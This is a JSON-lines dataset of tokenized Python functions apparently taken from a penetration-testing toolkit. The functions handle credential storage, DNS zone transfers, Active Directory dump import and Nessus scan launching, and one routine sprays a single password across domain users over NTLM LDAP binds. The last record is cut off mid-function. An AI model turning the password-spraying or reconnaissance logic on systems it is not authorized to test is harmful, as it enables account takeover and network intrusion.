{"signature": "def get_credentials(self, *args, **kwargs):", "body": "arguments, _ = self.argparser.parse_known_args()<EOL>if self.is_pipe and self.use_pipe:<EOL><INDENT>return self.get_pipe(self.object_type)<EOL><DEDENT>elif arguments.tags or arguments.type or arguments.search or arguments.password or arguments.cracked or arguments.range or arguments.domain:<EOL><INDENT>return self.argument_search()<EOL><DEDENT>else:<EOL><INDENT>return self.search(*args, **kwargs)<EOL><DEDENT>", "docstring": "Retrieves the users from elastic.", "id": "f7510:c5:m5"}
{"signature": "def get_pipe(self):", "body": "lines = []<EOL>for line in sys.stdin:<EOL><INDENT>try:<EOL><INDENT>lines.append(self.line_to_object(line.strip()))<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return lines<EOL>", "docstring": "Returns a list that maps the input of the pipe to an elasticsearch object.\nWill call id_to_object if it cannot serialize the data from json.", "id": "f7510:c7:m2"}
{"signature": "def print_line(text):", "body": "try:<EOL><INDENT>signal.signal(signal.SIGPIPE, signal.SIG_DFL)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>sys.stdout.write(text)<EOL>if not text.endswith('<STR_LIT:\\n>'):<EOL><INDENT>sys.stdout.write('<STR_LIT:\\n>')<EOL><DEDENT>sys.stdout.flush()<EOL><DEDENT>except IOError:<EOL><INDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Print the given line to stdout", "id": "f7511:m1"}
{"signature": "def print_json(data):", "body": "print_line(json.dumps(data, default=datetime_handler))<EOL>", "docstring": "Print the given data to stdout.", "id": "f7511:m2"}
{"signature": "def print_notification(string):", "body": "print_line('<STR_LIT>'.format(string))<EOL>", "docstring": "Prints a grey [*] before the message", "id": "f7511:m3"}
{"signature": "def print_success(string):", "body": "print_line('<STR_LIT>'.format(string))<EOL>", "docstring": "Prints a green [+] before the message", "id": "f7511:m4"}
{"signature": "def print_error(string):", "body": "print_line('<STR_LIT>'.format(string))<EOL>", "docstring": "Prints a red [!] before the message", "id": "f7511:m5"}
{"signature": "def draw_interface(objects, callback, callback_text):", "body": "screen = curses.initscr()<EOL>height, width = screen.getmaxyx()<EOL>curses.noecho()<EOL>curses.cbreak()<EOL>curses.start_color()<EOL>screen.keypad( <NUM_LIT:1> )<EOL>curses.init_pair(<NUM_LIT:1>,curses.COLOR_BLACK, curses.COLOR_CYAN)<EOL>highlightText = curses.color_pair( <NUM_LIT:1> )<EOL>normalText = curses.A_NORMAL<EOL>screen.border( <NUM_LIT:0> )<EOL>curses.curs_set( <NUM_LIT:0> )<EOL>max_row = height - <NUM_LIT:15> <EOL>box = curses.newwin( max_row + <NUM_LIT:2>, int(width - <NUM_LIT:2>), <NUM_LIT:1>, <NUM_LIT:1> )<EOL>box.box()<EOL>fmt = PartialFormatter()<EOL>row_num = len( objects )<EOL>pages = int( ceil( row_num / max_row ) )<EOL>position = <NUM_LIT:1><EOL>page = <NUM_LIT:1><EOL>for i in range( <NUM_LIT:1>, max_row + <NUM_LIT:1> ):<EOL><INDENT>if row_num == <NUM_LIT:0>:<EOL><INDENT>box.addstr( <NUM_LIT:1>, <NUM_LIT:1>, \"<STR_LIT>\", highlightText )<EOL><DEDENT>else:<EOL><INDENT>if (i == position):<EOL><INDENT>box.addstr( i, <NUM_LIT:2>, str( i ) + \"<STR_LIT>\" + objects[ i - <NUM_LIT:1> ]['<STR_LIT:string>'], highlightText )<EOL><DEDENT>else:<EOL><INDENT>box.addstr( i, <NUM_LIT:2>, str( i ) + \"<STR_LIT>\" + objects[ i - <NUM_LIT:1> ]['<STR_LIT:string>'], normalText )<EOL><DEDENT>if i == row_num:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>screen.refresh()<EOL>box.refresh()<EOL>x = screen.getch()<EOL>while x != <NUM_LIT>:<EOL><INDENT>if x == curses.KEY_DOWN:<EOL><INDENT>if page == <NUM_LIT:1>:<EOL><INDENT>if position < i:<EOL><INDENT>position = position + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if pages > <NUM_LIT:1>:<EOL><INDENT>page = page + <NUM_LIT:1><EOL>position = <NUM_LIT:1> + ( max_row * ( page - <NUM_LIT:1> ) )<EOL><DEDENT><DEDENT><DEDENT>elif page == pages:<EOL><INDENT>if position < row_num:<EOL><INDENT>position = position + <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if position < max_row + ( max_row * ( page - <NUM_LIT:1> ) ):<EOL><INDENT>position = position + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>page = page + <NUM_LIT:1><EOL>position = <NUM_LIT:1> + ( max_row * ( page - <NUM_LIT:1> ) )<EOL><DEDENT><DEDENT><DEDENT>if x == curses.KEY_UP:<EOL><INDENT>if page == <NUM_LIT:1>:<EOL><INDENT>if position > <NUM_LIT:1>:<EOL><INDENT>position = position - <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if position > ( <NUM_LIT:1> + ( max_row * ( page - <NUM_LIT:1> ) ) ):<EOL><INDENT>position = position - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>page = page - <NUM_LIT:1><EOL>position = max_row + ( max_row * ( page - <NUM_LIT:1> ) )<EOL><DEDENT><DEDENT><DEDENT>screen.erase()<EOL>if x == ord( \"<STR_LIT:\\n>\" ) and row_num != <NUM_LIT:0>:<EOL><INDENT>screen.erase()<EOL>screen.border( <NUM_LIT:0> )<EOL>service = objects[position -<NUM_LIT:1>]<EOL>text = fmt.format(callback_text, **service)<EOL>screen.addstr( max_row + <NUM_LIT:4>, <NUM_LIT:3>, text)<EOL>text  = callback(service)<EOL>count = <NUM_LIT:0><EOL>for line in text:<EOL><INDENT>screen.addstr( max_row + <NUM_LIT:5> + count, <NUM_LIT:3>, line)<EOL>count += <NUM_LIT:1><EOL><DEDENT><DEDENT>box.erase()<EOL>screen.border( <NUM_LIT:0> )<EOL>box.border( <NUM_LIT:0> )<EOL>for i in range( <NUM_LIT:1> + ( max_row * ( page - <NUM_LIT:1> ) ), max_row + <NUM_LIT:1> + ( max_row * ( page - <NUM_LIT:1> ) ) ):<EOL><INDENT>if row_num == <NUM_LIT:0>:<EOL><INDENT>box.addstr( <NUM_LIT:1>, <NUM_LIT:1>, \"<STR_LIT>\",  highlightText )<EOL><DEDENT>else:<EOL><INDENT>if ( i + ( max_row * ( page - <NUM_LIT:1> ) ) == position + ( max_row * ( page - <NUM_LIT:1> ) ) ):<EOL><INDENT>box.addstr( i - ( max_row * ( page - <NUM_LIT:1> ) ), <NUM_LIT:2>, str( i ) + \"<STR_LIT>\" + objects[ i - <NUM_LIT:1> ]['<STR_LIT:string>'], highlightText )<EOL><DEDENT>else:<EOL><INDENT>box.addstr( i - ( max_row * ( page - <NUM_LIT:1> ) ), <NUM_LIT:2>, str( i ) + \"<STR_LIT>\" + objects[ i - <NUM_LIT:1> ]['<STR_LIT:string>'], normalText )<EOL><DEDENT>if i == row_num:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>screen.refresh()<EOL>box.refresh()<EOL>x = screen.getch()<EOL><DEDENT>curses.endwin()<EOL>exit()<EOL>", "docstring": "Draws a ncurses interface. Based on the given object list, every object should have a \"string\" key, this is whats displayed on the screen, callback is called with the selected object.\nRest of the code is modified from:\nhttps://stackoverflow.com/a/30834868", "id": "f7511:m6"}
{"signature": "def get_own_ip():", "body": "own_ip = None<EOL>interfaces = psutil.net_if_addrs()<EOL>for _, details in interfaces.items():<EOL><INDENT>for detail in details:<EOL><INDENT>if detail.family == socket.AF_INET:<EOL><INDENT>ip_address = ipaddress.ip_address(detail.address)<EOL>if not (ip_address.is_link_local or ip_address.is_loopback):<EOL><INDENT>own_ip = str(ip_address)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return own_ip<EOL>", "docstring": "Gets the IP from the inet interfaces.", "id": "f7511:m7"}
{"signature": "def pipe_worker(pipename, filename, object_type, query, format_string, unique=False):", "body": "print_notification(\"<STR_LIT>\".format(pipename))<EOL>object_type = object_type()<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>uniq = set()<EOL>if os.path.exists(filename):<EOL><INDENT>os.remove(filename)<EOL><DEDENT>os.mkfifo(filename)<EOL>with open(filename, '<STR_LIT:w>') as pipe:<EOL><INDENT>print_success(\"<STR_LIT>\".format(pipename))<EOL>objects = object_type.search(**query)<EOL>for obj in objects:<EOL><INDENT>data = fmt.format(format_string, **obj.to_dict())<EOL>if unique:<EOL><INDENT>if not data in uniq:<EOL><INDENT>uniq.add(data)<EOL>pipe.write(data + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pipe.write(data + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT><DEDENT>os.unlink(filename)<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>print_notification(\"<STR_LIT>\".format(pipename))<EOL><DEDENT>except Exception as e:<EOL><INDENT>print_error(\"<STR_LIT>\".format(e, pipename))<EOL><DEDENT>finally:<EOL><INDENT>os.remove(filename)<EOL><DEDENT>", "docstring": "Starts the loop to provide the data from jackal.", "id": "f7512:m0"}
{"signature": "def create_query(section):", "body": "query = {}<EOL>if '<STR_LIT>' in section:<EOL><INDENT>query['<STR_LIT>'] = [section['<STR_LIT>']]<EOL><DEDENT>if '<STR_LIT>' in section:<EOL><INDENT>query['<STR_LIT>'] = bool(section['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in section:<EOL><INDENT>query['<STR_LIT>'] = [section['<STR_LIT>']]<EOL><DEDENT>if '<STR_LIT>' in section:<EOL><INDENT>query['<STR_LIT>'] = [section['<STR_LIT>']]<EOL><DEDENT>if '<STR_LIT>' in section:<EOL><INDENT>query['<STR_LIT>'] = [section['<STR_LIT>']]<EOL><DEDENT>return query<EOL>", "docstring": "Creates a search query based on the section of the config file.", "id": "f7512:m1"}
{"signature": "def create_pipe_workers(configfile, directory):", "body": "type_map = {'<STR_LIT>': ServiceSearch,<EOL>'<STR_LIT:host>': HostSearch, '<STR_LIT>': RangeSearch,<EOL>'<STR_LIT:user>': UserSearch}<EOL>config = configparser.ConfigParser()<EOL>config.read(configfile)<EOL>if not len(config.sections()):<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>print_notification(\"<STR_LIT>\".format(<EOL>len(config.sections()), directory))<EOL>workers = []<EOL>for name in config.sections():<EOL><INDENT>section = config[name]<EOL>query = create_query(section)<EOL>object_type = type_map[section['<STR_LIT:type>']]<EOL>args = (name, os.path.join(directory, name), object_type, query,<EOL>section['<STR_LIT>'], bool(section.get('<STR_LIT>', <NUM_LIT:0>)))<EOL>workers.append(multiprocessing.Process(target=pipe_worker, args=args))<EOL><DEDENT>return workers<EOL>", "docstring": "Creates the workers based on the given configfile to provide named pipes in the directory.", "id": "f7512:m2"}
{"signature": "def main():", "body": "config = Config()<EOL>pipes_dir = config.get('<STR_LIT>', '<STR_LIT>')<EOL>pipes_config = config.get('<STR_LIT>', '<STR_LIT>')<EOL>pipes_config_path = os.path.join(config.config_dir, pipes_config)<EOL>if not os.path.exists(pipes_config_path):<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>workers = create_pipe_workers(pipes_config_path, pipes_dir)<EOL>if workers:<EOL><INDENT>for worker in workers:<EOL><INDENT>worker.start()<EOL><DEDENT>try:<EOL><INDENT>for worker in workers:<EOL><INDENT>worker.join()<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL>for worker in workers:<EOL><INDENT>worker.terminate()<EOL>worker.join()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Loads the config and handles the workers.", "id": "f7512:m3"}
{"signature": "def main():", "body": "cred_search = CredentialSearch()<EOL>arg = argparse.ArgumentParser(parents=[cred_search.argparser], conflict_handler='<STR_LIT>')<EOL>arg.add_argument('<STR_LIT:-c>', '<STR_LIT>', help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>arguments = arg.parse_args()<EOL>if arguments.count:<EOL><INDENT>print_line(\"<STR_LIT>\".format(cred_search.argument_count()))<EOL><DEDENT>else:<EOL><INDENT>response = cred_search.get_credentials()<EOL>for hit in response:<EOL><INDENT>print_json(hit.to_dict(include_meta=True))<EOL><DEDENT><DEDENT>", "docstring": "Main credentials tool", "id": "f7513:m0"}
{"signature": "def overview():", "body": "search = Credential.search()<EOL>search.aggs.bucket('<STR_LIT>', '<STR_LIT>', field='<STR_LIT>', order={'<STR_LIT>': '<STR_LIT>'}, size=<NUM_LIT:20>).metric('<STR_LIT>', '<STR_LIT>', field='<STR_LIT:username>').metric('<STR_LIT>', '<STR_LIT>', field='<STR_LIT>').metric('<STR_LIT>', '<STR_LIT>', docvalue_fields=['<STR_LIT:username>'], size=<NUM_LIT:100>)<EOL>response = search.execute()<EOL>print_line(\"<STR_LIT>\".format(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>print_line(\"<STR_LIT:->\"*<NUM_LIT:100>)<EOL>for entry in response.aggregations.password_count.buckets:<EOL><INDENT>usernames = []<EOL>for creds in entry.top_hits:<EOL><INDENT>usernames.append(creds.username[<NUM_LIT:0>])<EOL><DEDENT>usernames = list(set(usernames))<EOL>print_line(\"<STR_LIT>\".format(entry.key, entry.doc_count, entry.host_count.value, entry.username_count.value, usernames))<EOL><DEDENT>", "docstring": "Provides an overview of the duplicate credentials.", "id": "f7513:m1"}
{"signature": "def get_configured_dns():", "body": "ips = []<EOL>try:<EOL><INDENT>output = subprocess.check_output(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>output = output.decode('<STR_LIT:utf-8>')<EOL>for line in output.split('<STR_LIT:\\n>'):<EOL><INDENT>if '<STR_LIT>' in line:<EOL><INDENT>pattern = r\"<STR_LIT>\"<EOL>for hit in re.findall(pattern, line):<EOL><INDENT>ips.append(hit)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except FileNotFoundError:<EOL><INDENT>pass<EOL><DEDENT>return ips<EOL>", "docstring": "Returns the configured DNS servers with the use f nmcli.", "id": "f7514:m0"}
{"signature": "def get_resolv_dns():", "body": "result = []<EOL>try:<EOL><INDENT>for line in open('<STR_LIT>', '<STR_LIT:r>'):<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>result.append(line.strip().split('<STR_LIT:U+0020>')[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>except FileNotFoundError:<EOL><INDENT>pass<EOL><DEDENT>return result<EOL>", "docstring": "Returns the dns servers configured in /etc/resolv.conf", "id": "f7514:m1"}
{"signature": "def zone_transfer(address, dns_name):", "body": "ips = []<EOL>try:<EOL><INDENT>print_notification(\"<STR_LIT>\".format(dns_name, address))<EOL>z = dns.zone.from_xfr(dns.query.xfr(address, dns_name))<EOL><DEDENT>except dns.exception.FormError:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL>return ips<EOL><DEDENT>names = z.nodes.keys()<EOL>print_success(\"<STR_LIT>\".format(address, len(names)))<EOL>for n in names:<EOL><INDENT>node = z[n]<EOL>data = node.get_rdataset(dns.rdataclass.IN, dns.rdatatype.A)<EOL>if data:<EOL><INDENT>for item in data.items:<EOL><INDENT>address = item.address<EOL>ips.append(address)<EOL><DEDENT><DEDENT><DEDENT>return ips<EOL>", "docstring": "Tries to perform a zone transfer.", "id": "f7514:m2"}
{"signature": "def resolve_domains(domains, disable_zone=False):", "body": "dnsresolver = dns.resolver.Resolver()<EOL>ips = []<EOL>for domain in domains:<EOL><INDENT>print_notification(\"<STR_LIT>\".format(domain))<EOL>try:<EOL><INDENT>result = dnsresolver.query(domain, '<STR_LIT:A>')<EOL>for a in result.response.answer[<NUM_LIT:0>]:<EOL><INDENT>ips.append(str(a))<EOL>if not disable_zone:<EOL><INDENT>ips.extend(zone_transfer(str(a), domain))<EOL><DEDENT><DEDENT><DEDENT>except dns.resolver.NXDOMAIN as e:<EOL><INDENT>print_error(e)<EOL><DEDENT><DEDENT>return ips<EOL>", "docstring": "Resolves the list of domains and returns the ips.", "id": "f7514:m3"}
{"signature": "def parse_ips(ips, netmask, include_public):", "body": "hs = HostSearch()<EOL>rs = RangeSearch()<EOL>ranges = []<EOL>ips = list(set(ips))<EOL>included_ips = []<EOL>print_success(\"<STR_LIT>\".format(len(ips)))<EOL>for ip in ips:<EOL><INDENT>ip_address = ipaddress.ip_address(ip)<EOL>if include_public or ip_address.is_private:<EOL><INDENT>if len(ips) < <NUM_LIT:15>:<EOL><INDENT>print_success(\"<STR_LIT>\".format(ip))<EOL><DEDENT>host = hs.id_to_object(ip)<EOL>host.add_tag('<STR_LIT>')<EOL>host.save()<EOL>r = str(ipaddress.IPv4Network(\"<STR_LIT>\".format(ip, netmask), strict=False))<EOL>ranges.append(r)<EOL>included_ips.append(ip)<EOL><DEDENT>else:<EOL><INDENT>print_notification(\"<STR_LIT>\".format(ip))<EOL><DEDENT><DEDENT>ranges = list(set(ranges))<EOL>print_success(\"<STR_LIT>\".format(len(ranges)))<EOL>for rng in ranges:<EOL><INDENT>if len(ranges) < <NUM_LIT:15>:<EOL><INDENT>print_success(\"<STR_LIT>\".format(rng))<EOL><DEDENT>r = rs.id_to_object(rng)<EOL>r.add_tag('<STR_LIT>')<EOL>r.save()<EOL><DEDENT>stats = {}<EOL>stats['<STR_LIT>'] = included_ips<EOL>stats['<STR_LIT>'] = ranges<EOL>return stats<EOL>", "docstring": "Parses the list of ips, turns these into ranges based on the netmask given.\nSet include_public to True to include public IP adresses.", "id": "f7514:m4"}
{"signature": "def add_tag():", "body": "if len(sys.argv) > <NUM_LIT:1>:<EOL><INDENT>tag = sys.argv[<NUM_LIT:1>]<EOL>doc_mapper = DocMapper()<EOL>if doc_mapper.is_pipe:<EOL><INDENT>count = <NUM_LIT:0><EOL>for obj in doc_mapper.get_pipe():<EOL><INDENT>obj.add_tag(tag)<EOL>obj.update(tags=obj.tags)<EOL>count += <NUM_LIT:1><EOL><DEDENT>print_success(\"<STR_LIT>\".format(tag, count))<EOL><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>sys.exit()<EOL><DEDENT>", "docstring": "Obtains the data from the pipe and appends the given tag.", "id": "f7515:m0"}
{"signature": "def remove_tag():", "body": "if len(sys.argv) > <NUM_LIT:1>:<EOL><INDENT>tag = sys.argv[<NUM_LIT:1>]<EOL>doc_mapper = DocMapper()<EOL>if doc_mapper.is_pipe:<EOL><INDENT>count = <NUM_LIT:0><EOL>for obj in doc_mapper.get_pipe():<EOL><INDENT>obj.remove_tag(tag)<EOL>obj.update(tags=obj.tags)<EOL>count += <NUM_LIT:1><EOL><DEDENT>print_success(\"<STR_LIT>\".format(tag, count))<EOL><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>sys.exit()<EOL><DEDENT>", "docstring": "Obtains the data from the pipe and removes the given tag.", "id": "f7515:m1"}
{"signature": "def modify_data(data):", "body": "with tempfile.NamedTemporaryFile('<STR_LIT:w>') as f:<EOL><INDENT>for entry in data:<EOL><INDENT>f.write(json.dumps(entry.to_dict(<EOL>include_meta=True),<EOL>default=datetime_handler))<EOL>f.write('<STR_LIT:\\n>')<EOL><DEDENT>f.flush()<EOL>print_success(\"<STR_LIT>\")<EOL>subprocess.call(['<STR_LIT>', '<STR_LIT:->', f.name])<EOL>with open(f.name, '<STR_LIT:r>') as f:<EOL><INDENT>return f.readlines()<EOL><DEDENT><DEDENT>", "docstring": "Creates a tempfile and starts the given editor, returns the data afterwards.", "id": "f7516:m0"}
{"signature": "def modify_input():", "body": "doc_mapper = DocMapper()<EOL>if doc_mapper.is_pipe:<EOL><INDENT>objects = [obj for obj in doc_mapper.get_pipe()]<EOL>modified = modify_data(objects)<EOL>for line in modified:<EOL><INDENT>obj = doc_mapper.line_to_object(line)<EOL>obj.save()<EOL><DEDENT>print_success(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "This functions gives the user a way to change the data that is given as input.", "id": "f7516:m1"}
{"signature": "def bruteforce(users, domain, password, host):", "body": "cs = CredentialSearch(use_pipe=False)<EOL>print_notification(\"<STR_LIT>\".format(host))<EOL>s = Server(host)<EOL>c = Connection(s)<EOL>for user in users:<EOL><INDENT>if c.rebind(user=\"<STR_LIT>\".format(domain, user.username), password=password, authentication=NTLM):<EOL><INDENT>print_success('<STR_LIT>'.format(user.username, password))<EOL>credential = cs.find_object(<EOL>user.username, password, domain=domain, host_ip=host)<EOL>if not credential:<EOL><INDENT>credential = Credential(username=user.username, secret=password,<EOL>domain=domain, host_ip=host, type=\"<STR_LIT>\", port=<NUM_LIT>)<EOL><DEDENT>credential.add_tag(tag)<EOL>credential.save()<EOL>user.add_tag(tag)<EOL>user.save()<EOL><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\".format(user.username, password))<EOL><DEDENT><DEDENT>", "docstring": "Performs a bruteforce for the given users, password, domain on the given host.", "id": "f7517:m0"}
{"signature": "def main():", "body": "config = Config()<EOL>core = HostSearch()<EOL>hosts = core.get_hosts(tags=['<STR_LIT>'], up=True)<EOL>hosts = [host for host in hosts]<EOL>host_ips = \"<STR_LIT:U+002C>\".join([str(host.address) for host in hosts])<EOL>url = config.get('<STR_LIT>', '<STR_LIT:host>')<EOL>access = config.get('<STR_LIT>', '<STR_LIT>')<EOL>secret = config.get('<STR_LIT>', '<STR_LIT>')<EOL>template_name = config.get('<STR_LIT>', '<STR_LIT>')<EOL>nessus = Nessus(access, secret, url, template_name)<EOL>scan_id = nessus.create_scan(host_ips)<EOL>nessus.start_scan(scan_id)<EOL>for host in hosts:<EOL><INDENT>host.add_tag('<STR_LIT>')<EOL>host.save()<EOL><DEDENT>Logger().log(\"<STR_LIT>\", \"<STR_LIT>\".format(len(hosts)), {'<STR_LIT>': len(hosts)})<EOL>", "docstring": "This function obtains hosts from core and starts a nessus scan on these hosts.\nThe nessus tag is appended to the host tags.", "id": "f7518:m0"}
{"signature": "def get_template_uuid(self):", "body": "response = requests.get(self.url + '<STR_LIT>', headers=self.headers, verify=False)<EOL>templates = json.loads(response.text)<EOL>for template in templates['<STR_LIT>']:<EOL><INDENT>if template['<STR_LIT:name>'] == self.template_name:<EOL><INDENT>return template['<STR_LIT>']<EOL><DEDENT><DEDENT>", "docstring": "Retrieves the uuid of the given template name.", "id": "f7518:c0:m1"}
{"signature": "def create_scan(self, host_ips):", "body": "now = datetime.datetime.now()<EOL>data = {<EOL>\"<STR_LIT>\": self.get_template_uuid(),<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\" + now.strftime(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": host_ips<EOL>}<EOL>}<EOL>response = requests.post(self.url + '<STR_LIT>', data=json.dumps(data), verify=False, headers=self.headers)<EOL>if response:<EOL><INDENT>result = json.loads(response.text)<EOL>return result['<STR_LIT>']['<STR_LIT:id>']<EOL><DEDENT>", "docstring": "Creates a scan with the given host ips\nReturns the scan id of the created object.", "id": "f7518:c0:m2"}
{"signature": "def start_scan(self, scan_id):", "body": "requests.post(self.url + '<STR_LIT>'.format(scan_id), verify=False, headers=self.headers)<EOL>", "docstring": "Starts the scan identified by the scan_id.s", "id": "f7518:c0:m3"}
{"signature": "def parse_single_computer(entry):", "body": "computer = Computer(dns_hostname=get_field(entry, '<STR_LIT>'), description=get_field(<EOL>entry, '<STR_LIT:description>'), os=get_field(entry, '<STR_LIT>'), group_id=get_field(entry, '<STR_LIT>'))<EOL>try:<EOL><INDENT>ip = str(ipaddress.ip_address(get_field(entry, '<STR_LIT>')))<EOL><DEDENT>except ValueError:<EOL><INDENT>ip = '<STR_LIT>'<EOL><DEDENT>if ip:<EOL><INDENT>computer.ip = ip<EOL><DEDENT>elif computer.dns_hostname:<EOL><INDENT>computer.ip = resolve_ip(computer.dns_hostname)<EOL><DEDENT>return computer<EOL>", "docstring": "Parse the entry into a computer object.", "id": "f7519:m2"}
{"signature": "def parse_domain_computers(filename):", "body": "with open(filename) as f:<EOL><INDENT>data = json.loads(f.read())<EOL><DEDENT>hs = HostSearch()<EOL>count = <NUM_LIT:0><EOL>entry_count = <NUM_LIT:0><EOL>print_notification(\"<STR_LIT>\".format(len(data)))<EOL>for system in data:<EOL><INDENT>entry_count += <NUM_LIT:1><EOL>parsed = parse_single_computer(system)<EOL>if parsed.ip:<EOL><INDENT>try:<EOL><INDENT>host = hs.id_to_object(parsed.ip)<EOL>host.description.append(parsed.description)<EOL>host.hostname.append(parsed.dns_hostname)<EOL>if parsed.os:<EOL><INDENT>host.os = parsed.os<EOL><DEDENT>host.domain_controller = parsed.dc<EOL>host.add_tag('<STR_LIT>')<EOL>host.save()<EOL>count += <NUM_LIT:1><EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>sys.stdout.write('<STR_LIT:\\r>')<EOL>sys.stdout.write(<EOL>\"<STR_LIT>\".format(entry_count, len(data), count))<EOL>sys.stdout.flush()<EOL><DEDENT>sys.stdout.write('<STR_LIT:\\r>')<EOL>return count<EOL>", "docstring": "Parse the file and extract the computers, import the computers that resolve into jackal.", "id": "f7519:m3"}
{"signature": "def parse_user(entry, domain_groups):", "body": "result = {}<EOL>distinguished_name = get_field(entry, '<STR_LIT>')<EOL>result['<STR_LIT>'] = \"<STR_LIT:.>\".join(distinguished_name.split('<STR_LIT>')[<NUM_LIT:1>:])<EOL>result['<STR_LIT:name>'] = get_field(entry, '<STR_LIT:name>')<EOL>result['<STR_LIT:username>'] = get_field(entry, '<STR_LIT>')<EOL>result['<STR_LIT:description>'] = get_field(entry, '<STR_LIT:description>')<EOL>result['<STR_LIT>'] = get_field(entry, '<STR_LIT>').split('<STR_LIT:->')[-<NUM_LIT:1>]<EOL>primary_group = get_field(entry, '<STR_LIT>')<EOL>member_of = entry['<STR_LIT>'].get('<STR_LIT>', [])<EOL>groups = []<EOL>for member in member_of:<EOL><INDENT>for e in member.split('<STR_LIT:U+002C>'):<EOL><INDENT>if e.startswith('<STR_LIT>'):<EOL><INDENT>groups.append(e[<NUM_LIT:3>:])<EOL><DEDENT><DEDENT><DEDENT>groups.append(domain_groups.get(primary_group, '<STR_LIT>'))<EOL>result['<STR_LIT>'] = groups<EOL>flags = []<EOL>try:<EOL><INDENT>uac = int(get_field(entry, '<STR_LIT>'))<EOL>for flag, value in uac_flags.items():<EOL><INDENT>if uac & value:<EOL><INDENT>flags.append(flag)<EOL><DEDENT><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>result['<STR_LIT>'] = flags<EOL>return result<EOL>", "docstring": "Parses a single entry from the domaindump", "id": "f7519:m4"}
{"signature": "def parse_domain_users(domain_users_file, domain_groups_file):", "body": "with open(domain_users_file) as f:<EOL><INDENT>users = json.loads(f.read())<EOL><DEDENT>domain_groups = {}<EOL>if domain_groups_file:<EOL><INDENT>with open(domain_groups_file) as f:<EOL><INDENT>groups = json.loads(f.read())<EOL>for group in groups:<EOL><INDENT>sid = get_field(group, '<STR_LIT>')<EOL>domain_groups[int(sid.split('<STR_LIT:->')[-<NUM_LIT:1>])] = get_field(group, '<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>user_search = UserSearch()<EOL>count = <NUM_LIT:0><EOL>total = len(users)<EOL>print_notification(\"<STR_LIT>\".format(total))<EOL>for entry in users:<EOL><INDENT>result = parse_user(entry, domain_groups)<EOL>user = user_search.id_to_object(result['<STR_LIT:username>'])<EOL>user.name = result['<STR_LIT:name>']<EOL>user.domain.append(result['<STR_LIT>'])<EOL>user.description = result['<STR_LIT:description>']<EOL>user.groups.extend(result['<STR_LIT>'])<EOL>user.flags.extend(result['<STR_LIT>'])<EOL>user.sid = result['<STR_LIT>']<EOL>user.add_tag(\"<STR_LIT>\")<EOL>user.save()<EOL>count += <NUM_LIT:1><EOL>sys.stdout.write('<STR_LIT:\\r>')<EOL>sys.stdout.write(\"<STR_LIT>\".format(count, total))<EOL>sys.stdout.flush()<EOL><DEDENT>sys.stdout.write('<STR_LIT:\\r>')<EOL>return count<EOL>", "docstring": "Parses the domain users and groups files.", "id": "f7519:m5"}
{"signature": "def import_domaindump():", "body": "parser = argparse.ArgumentParser(<EOL>description=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", nargs='<STR_LIT:+>',<EOL>help=\"<STR_LIT>\")<EOL>arguments = parser.parse_args()<EOL>domain_users_file = '<STR_LIT>'<EOL>domain_groups_file = '<STR_LIT>'<EOL>computer_count = <NUM_LIT:0><EOL>user_count = <NUM_LIT:0><EOL>stats = {}<EOL>for filename in arguments.files:<EOL><INDENT>if filename.endswith('<STR_LIT>'):<EOL><INDENT>print_notification('<STR_LIT>')<EOL>computer_count = parse_domain_computers(filename)<EOL>if computer_count:<EOL><INDENT>stats['<STR_LIT>'] = computer_count<EOL>print_success(\"<STR_LIT>\".format(computer_count))<EOL><DEDENT><DEDENT>elif filename.endswith('<STR_LIT>'):<EOL><INDENT>domain_users_file = filename<EOL><DEDENT>elif filename.endswith('<STR_LIT>'):<EOL><INDENT>domain_groups_file = filename<EOL><DEDENT><DEDENT>if domain_users_file:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL>user_count = parse_domain_users(domain_users_file, 